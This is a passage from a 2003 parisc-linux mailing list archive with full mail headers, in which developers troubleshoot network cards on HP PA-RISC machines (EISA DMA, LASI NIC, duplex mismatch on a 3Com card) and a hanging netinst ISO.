10-Base-2 Ethernet NIC will work using a AUI-10MB Ethernet transceiver
connected to a Linksys DSL 10/100 router?  (I have a CenterCOM MX10 IEEE
802.3 MicroTransceiver 10-Base-2 - a lot of good that'll do me ...).

Regards

Shane Brodie

-----Original Message-----
From: parisc-linux-admin@lists.parisc-linux.org
[mailto:parisc-linux-admin@lists.parisc-linux.org]On Behalf Of Grant
Grundler
Sent: November 15, 2003 7:52 PM
To: buggz
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Dual NICs on 9000/715, anyone?


On Sat, Nov 15, 2003 at 06:22:32PM -0500, buggz wrote:
> Anyone get dual NICs working on this machine?
> The second one is on the EISA expansion card.

EISA DMA isn't working, IIRC.
I don't recall if anyone has published Wax (EISA) DMA docs.
If not, that means someone from HP would have to write it
or get enough detail from someone inside HP to write it.

> It works in HPUX.
> I'd like to get this to work in linux and use the box as a router/gw.

At one we had a NIC working using PIO (not DMA).
But don't expect stellar performance.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dual NICs on 9000/715, anyone?
Date: Sat, 15 Nov 2003 21:32:13 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20031116043213.GC4059@colo.lackof.org>
References: <20031116015159.GA4059@colo.lackof.org> <LPENLKGPOOFMNIPKLBNDAEFECAAA.sgbrodie@mts.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622966 1583 80.91.229.3 (22 Nov 2014 02:22:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Shane G. Brodie" <sgbrodie@mts.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 21:32:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6310D4841
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 21:32:15 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DCBC8298030; Sat, 15 Nov 2003 21:32:14 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 04900-06; Sat, 15 Nov 2003 21:32:14 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E14BC29802E; Sat, 15 Nov 2003 21:32:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <LPENLKGPOOFMNIPKLBNDAEFECAAA.sgbrodie@mts.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20113

On Sat, Nov 15, 2003 at 10:16:11PM -0600, Shane G. Brodie wrote:
> Slightly off topic:  I've been fighting with a 715/80 with an EISA 10/100 VG
> AnyLan card in it for the last 2 weeks.  I can not get the network to come
> up.

If it's trying to use DMA, it won't work.

> I have a whole series of issues to resolve unrelated to the network
> hardware, but that's another long story ... (the old SCSI CD-ROM doesn't
> like CD-RW ... don't have spare CD-R ... disc 2 of my downloaded set is
> unreadable - how I wish the MD5 checksums were up-to-date ...  I could set

can you clarify which MD5 csums are stale?
Post the URL on this list and likely someone can fix it.

> up dial-up (eeek!) but ...
> 
> I don't have have an EtherTwist transceiver for the built-in (and don't know
> if it'll work anyway) - can anyone advise me whether or not the the built-in
> 10-Base-2 Ethernet NIC will work using a AUI-10MB Ethernet transceiver
> connected to a Linksys DSL 10/100 router?

The 715 built-in (LASI "apricot", uses lasi_82596 driver) works fine.
I wouldn't expect any compatibility problems with Linksys router.

grant


From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Sat, 15 Nov 2003 22:50:22 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20031116055022.GD4059@colo.lackof.org>
References: <002901c3aad6$87fb1c10$64d71399@Damian>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622966 1587 80.91.229.3 (22 Nov 2014 02:22:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Damian Muchli?ski <mudamian@poczta.onet.pl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 15 22:50:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23BE84841
	for <parisc-linux@lists.parisc-linux.org>; Sat, 15 Nov 2003 22:50:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6CF8E298030; Sat, 15 Nov 2003 22:50:23 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 05749-05; Sat, 15 Nov 2003 22:50:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B7F0029802E; Sat, 15 Nov 2003 22:50:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <002901c3aad6$87fb1c10$64d71399@Damian>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20114

On Fri, Nov 14, 2003 at 06:41:25PM +0100, Damian Muchli?ski wrote:
> So I have downloaded palinux-2.4.22-pa13-20031022-netinst.iso from your
> website,check md5, burned and booted.
> Unfortunately it hangs on "searching for devices" without any more info.

I don't know how to extract the vmlinux from the -pa13 netinst.iso.
But I could grab the 2.4.22 kernel+modules which are installed.
It boots fine on my c3k via gfx console (using PCI Viz-EG card).
(uname -a give "2.4.22-32 #1" and Oct 22, 2003 time stamp)

Thibaut, the kernel used to boot the netinst.iso is the identical
one that gets install by the netinst.iso?

Damian, perhaps you have additional/different PCI cards that are
causing problems?

Can you send output from "in io"?
Type "in io" while at the "Main Menu: Enter command" firmware prompt.

hth,
grant


From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Sun, 16 Nov 2003 13:16:08 +0100
Organization: ESIEE
Lines: 24
Approved: news@gmane.org
Message-ID: <20031116131608.2b058f61.varenet@esiee.fr>
References: <002901c3aad6$87fb1c10$64d71399@Damian>
	<20031116055022.GD4059@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622966 1588 80.91.229.3 (22 Nov 2014 02:22:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:46 +0000 (UTC)
Cc: Damian Muchli?ski <mudamian@poczta.onet.pl>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 16 05:16:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d050.dhcp212-198-139.noos.fr [212.198.139.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 637554841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Nov 2003 05:16:14 -0700 (MST)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.9/8.12.9) with SMTP id hAGCG9cB025933;
	Sun, 16 Nov 2003 13:16:11 +0100
In-Reply-To: <20031116055022.GD4059@colo.lackof.org>
X-Mailer: Sylpheed version 0.9.6claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20115

On Sat, 15 Nov 2003 22:50:22 -0700
Grant Grundler <grundler@parisc-linux.org> wrote:

> On Fri, Nov 14, 2003 at 06:41:25PM +0100, Damian Muchli?ski wrote:
> > So I have downloaded palinux-2.4.22-pa13-20031022-netinst.iso from
> > your website,check md5, burned and booted.
> > Unfortunately it hangs on "searching for devices" without any more
> > info.
> 
> I don't know how to extract the vmlinux from the -pa13 netinst.iso.
> But I could grab the 2.4.22 kernel+modules which are installed.
> It boots fine on my c3k via gfx console (using PCI Viz-EG card).
> (uname -a give "2.4.22-32 #1" and Oct 22, 2003 time stamp)
> 
> Thibaut, the kernel used to boot the netinst.iso is the identical
> one that gets install by the netinst.iso?

Yes.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sun, 16 Nov 2003 16:53:01 +0000
Lines: 193
Approved: news@gmane.org
Message-ID: <3FB7AB6D.80309@tiscali.be>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be> <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be> <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622966 1591 80.91.229.3 (22 Nov 2014 02:22:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 16 09:52:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17A7D4841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Nov 2003 09:52:59 -0700 (MST)
Original-Received: from [62.235.121.90] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ALQ8v-00010e-1M; Sun, 16 Nov 2003 17:52:57 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20116

Hi Max,

M. Grabert wrote:
> On Sat, 15 Nov 2003, Joel Soete wrote:
> 
> 
>>Hi Grant,
>>
>>I quiet sure now that the pb come from the 2d nic of my pc.
>>
>>It is a:
>>00:0b.0 Ethernet controller: 3Com Corporation 3c905B 100BaseTX [Cyclone]
>>(rev 24)
>>
>>I with google, I find back a mail of Andrew Morton in which he mentioned
>>a diag tool for this nic (<http://www.scyld.com/diag/>). I launch it:
>># ./vortex-diag -aem
>>[...]
>>Transceiver type in use:  10baseT.
>>  MAC settings: full-duplex.
>>                ^^^^^^^^^^^^
>>  Station address set to 00:10:4b:63:2e:bf.
>>  Configuration options 000a.
>>Saved EEPROM settings of a 3Com Vortex/Boomerang:
>>  3Com Node Address 00:10:4B:63:2E:BF (used as a unique ID only).
>>  OEM Station address 00:10:4B:63:2E:BF (used as the ethernet address).
>>   Device ID 9055,  Manufacturer ID 6d50.
>>   Manufacture date (MM/DD/YYYY) 3/17/1998, division 6, product NK.
>>   No BIOS ROM is present.
>>  Transceiver selection: 10baseT.
>>    Options: force full duplex, link beat required.
>>             ^^^^^^^^^^^^^^^^^
>>  PCI Subsystem IDs: Vendor 10b7 Device 9055.
>>[...]
>>
>>So i will continue to see how to set it up in half-duplex (would it not
>>be the default in 10BT?)
> 
> 
> How is it connected?
> Is it connected to a Switch (with Full-Duplex support, not a regular Hub)?
> Or is it connected to another PC via a Cross-Over cable?
> 
A cross-cable (of high quality).
btw I bring back my office 'thinkpad' (win2k) at home, connect it with 
the same cable to c110's nic and ftp my last kernel src (about 30mb): 
ftp stat showing about 800k/s; that is normal.
I use so the same cable to connect 'thinkpab' to my 3com nic and do the 
same ftp: ftp hang after 600k?

> If either of them is true, then 10BaseT will auto-negotiate Full-Duplex,
> of both ends support it.
> It's usually safe with 10BaseT only cards, but it's might come to some
> little problems if some cheap 100BaseTx cards are involved (more complex
> auto-negotiation involved, some cheap cards don't do it correctly).
> Then you might have to force it to 10Mbit, 100Mbit, Full or Half-Duplex
> manually.
> 
many strange things occurs with this card:
* I don't see it initialized in dmesg as the other nic (even though it 
is well configure (ifconfig :) )
* mii-tool shows:
eth1: 10 Mbit, half duplex, no link
                             ^^^^^^^
even though:
  # ping hpalin
PING hpalin (172.16.248.45): 56 data bytes
64 bytes from 172.16.248.45: icmp_seq=0 ttl=64 time=0.4 ms
64 bytes from 172.16.248.45: icmp_seq=1 ttl=64 time=0.4 ms
64 bytes from 172.16.248.45: icmp_seq=2 ttl=64 time=0.4 ms
64 bytes from 172.16.248.45: icmp_seq=3 ttl=64 time=0.4 ms

--- hpalin ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
or
  # ping hpalin -s 3000
PING hpalin (172.16.248.45): 3000 data bytes
3008 bytes from 172.16.248.45: icmp_seq=0 ttl=64 time=5.7 ms
3008 bytes from 172.16.248.45: icmp_seq=1 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=2 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=3 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=4 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=5 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=6 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=7 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=8 ttl=64 time=5.6 ms
3008 bytes from 172.16.248.45: icmp_seq=9 ttl=64 time=5.6 ms

--- hpalin ping statistics ---
10 packets transmitted, 10 packets received, 0% packet loss

* above mentioned tools (vortex-diag) also mentioned:
[...]
  Basic mode status register 0x3000 ... 3000.
    Link status: not established.
    Capable of  100baseTx 10baseT-FD.
    Unable to perform Auto-negotiation, negotiation not complete.
  This transceiver has no vendor identification.
  I'm advertising 3000:
    Advertising no additional info pages.
    Using an unknown (non 802.3) encapsulation.
  Link partner capability is 3000:.
    Negotiation did not complete.

I need so definitely to force 10baseT-hd but I don't yet find how (I 
lost my isp connection during my last evening research :( ).

> However I don't see why the network card should be *automatically* forced
> to Full-Duplex, since 'forced' implies that is was done manually!
> 
As explain above, it is not the only one incoherencies :(; a cheap bug? 
(afaik it is not the standard to 'force fd' when autoneg failed?)
> 
> Actually if one end point uses Full-Duplex and the other end uses
> Half-Duplex, there should be no connection possible.
By experience (recently we have to fix to 100-fd all server nic and 
related switch ports to avoid such autoneg pb, only with some supplier 
nic not hp :) ), I wouldn't say 'no connection' but well degraded 
connection ;)

> The same for
> the situation when one side uses 10Mbit and the other is set to
> explicitly use 100MBit.
> 
In this case, iirc there are well no connection possible.

> The only situation where such a decreased network performance occurs
> is IMHO that your have a cheap network equipment.
> IE. a dodgy network cable that isn't properly shielded or doesn't use all
> 8 wires, and/or cheap network cards that don't test whether the network
> connection/cable is capable of supporting Full-Duplex reliably.
> 
I don't know if they were cheap but a bit old now:
[...]
Saved EEPROM settings of a 3Com Vortex/Boomerang:
  3Com Node Address 00:10:4B:63:2E:BF (used as a unique ID only).
  OEM Station address 00:10:4B:63:2E:BF (used as the ethernet address).
   Device ID 9055,  Manufacturer ID 6d50.
   Manufacture date (MM/DD/YYYY) 3/17/1998, division 6, product NK.
[...]

> In this (worst case) scenario there will be a lot of packet drop on
> the physical layer and the network cards will re-send the ethernet
> packets autmatically (usually) without notifying you. You will see
> decreased network performace as you mentioned it.
> Unfortunately I have seen this a couple of times in my life, especially
> in the old 10Base2/5 days with broken terminators or tranceivers, but also
> with 10BaseT, and even more so with 100Mbit and low-quality network cables.
> 
> greetings, Max
> 
> 
> PS: oh, yes, another possible problem might be an IRQ conflict (which is
> rather unlikely on PA-RISC). It would cause also degraded network
> performance.
> 
That is the first thing I check:
  # cat /proc/pci
PCI devices found:
[...]
   Bus  0, device   7, function  2:
     USB Controller: Intel Corp. 82371AB/EB/MB PIIX4 USB (rev 1).
       IRQ 10.
       Master Capable.  Latency=64.
       I/O at 0xd000 [0xd01f].
   Bus  0, device   7, function  3:
     Bridge: Intel Corp. 82371AB/EB/MB PIIX4 ACPI (rev 2).
       IRQ 9.
[...]
   Bus  0, device  11, function  0:
     Ethernet controller: 3Com Corporation 3c905B 100BaseTX [Cyclone] 
(rev 36).
       IRQ 9.
       Master Capable.  Latency=64.  Min Gnt=10.Max Lat=10.
       I/O at 0xe000 [0xe07f].
       Non-prefetchable 32 bit memory at 0xec006000 [0xec00607f].
   Bus  0, device  12, function  0:
     Ethernet controller: Hewlett-Packard Company J2585B HP 10/100VG PCI 
LAN Adapter (rev 0).
       IRQ 10.
       Master Capable.  Latency=64.  Min Gnt=8.Max Lat=32.
       I/O at 0xe400 [0xe4ff].
       Non-prefetchable 32 bit memory at 0xec000000 [0xec001fff].
[...]

hmm well the same irq 9 for bridge:... ACPI and nic: 3Com, should it be 
the source of pb?

Thanks for advise and attention,
	Joel



From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Sun, 16 Nov 2003 17:00:41 +0000
Lines: 93
Approved: news@gmane.org
Message-ID: <3FB7AD39.9010305@tiscali.be>
References: <3F969FFE00009EA4@ocpmta2.freegates.net> <3F969FFE00009F73@ocpmta2.freegates.net> <20031110173525.GC24664@colo.lackof.org> <3FB0DC01.6070701@tiscali.be> <20031112032230.GB12000@colo.lackof.org> <3FB68167.10106@tiscali.be> <Pine.LNX.4.58.0311152220070.16980@sal.ucc.ie> <Pine.LNX.4.58.0311152313340.16980@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622967 1593 80.91.229.3 (22 Nov 2014 02:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 16 10:00:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EC4A4841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Nov 2003 10:00:33 -0700 (MST)
Original-Received: from [62.235.121.90] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ALQGF-0001Sd-Ub; Sun, 16 Nov 2003 18:00:32 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <Pine.LNX.4.58.0311152313340.16980@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20117


M. Grabert wrote:
> Sorry to reply myself,
Don't worry, I do it also frequently (tired or not i need some more time 
to test more stuff or find back more info ;) )
> but think I might need to clarify some points
> (I'm a little bit tired, so I have missed some things in my previous post)
> 
> On Sat, 15 Nov 2003, M. Grabert wrote:
> 
> [...]
> 
> 
>>>So i will continue to see how to set it up in half-duplex (would it not
>>>be the default in 10BT?)
> 
> 
> Yes, usually it defaults to 10Mbit half-duplex and then (if the cards
> support it) it tries to negotiate better connections (full-duplex, 100Mbit ...)
> 
> 
>>Actually if one end point uses Full-Duplex and the other end uses
>>Half-Duplex, there should be no connection possible.
> 
> 
> This is true if the (forced full-duplex) network card test for full-duplex
> capable connection and doesn't find it. However most (cheap?) cards will
> skip the test for full-duplex if it was 'forced', and you can still connect.
> 
> Light traffic will work, but you will have problems with large traffic.
> The explanation:
> 
> The half-duplex side will send a packet, and assumes the other end stops
> sending if a collision occurs, ie. if the other side was sending something
> at the same time (CSMA/CD).
> The full-duplex side will however will always send/receive as fast as it
> can as it doesn't do CSMA/CD, ie. it doesn't care about collisions.
> 
> The effect is that there will be a massive amount of collisions if both
> sides want to send data, and only the half-duplex card will try to resend
> the packets (causing even more collisions).
> You will see slow traffic when sending from half-duplex, and dropped
> packets when sending from full-duplex when both cards are sending.
> 
> This will be most likely your problem, since it fits your description
> perfectly (forced full-duplex mode). Sorry, I overlooked that in
> my first post.
>
That explain perfectly the pb I encounter; thanks :)

> 
> 
> 
>>The same for the situation when one side uses 10Mbit and the other is
>>set to explicitly use 100MBit.
> 
> 
> This will definitely never work.
> 
> 
>>The only situation where such a decreased network performance occurs
>>is IMHO that your have a cheap network equipment.
>>IE. a dodgy network cable that isn't properly shielded or doesn't use all
>>8 wires,
> 
> 
> I mean in the context for 10BaseT, ie. all 4 wires (1/2,3/6) are connected,
> but not the rest. There will be noise/crosstalk that will lead to
> collisions.
> 
I check: all 8 wires are connected
> [...]
> 
> 
>>In this (worst case) scenario there will be a lot of packet drop on
>>the physical layer and the network cards will re-send the ethernet
>>packets autmatically (usually) without notifying you. You will see
>>decreased network performace as you mentioned it.
> 
> 
> The network card (only in half-duplex) will think it detects collisions
> due to noise/crosstalk and will automatically resend the packets without
> notification.
> 
> 
> Slan,
>   Max
> 
> 
Thanks again,
	Joel



From - Thu Nov 08 21:29:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux on HP
Date: Sun, 16 Nov 2003 17:13:22 +0000
Lines: 58
Approved: news@gmane.org
Message-ID: <3FB7B032.8050505@tiscali.be>
References: <002901c3aad6$87fb1c10$64d71399@Damian> <20031116013854.GA3735@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622967 1604 80.91.229.3 (22 Nov 2014 02:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:47 +0000 (UTC)
Cc: Damian Muchli?ski <mudamian@poczta.onet.pl>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 16 10:13:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 994F24841
	for <parisc-linux@lists.parisc-linux.org>; Sun, 16 Nov 2003 10:13:14 -0700 (MST)
Original-Received: from [62.235.121.90] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ALQSX-000262-CK; Sun, 16 Nov 2003 18:13:13 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031116013854.GA3735@colo.lackof.org>
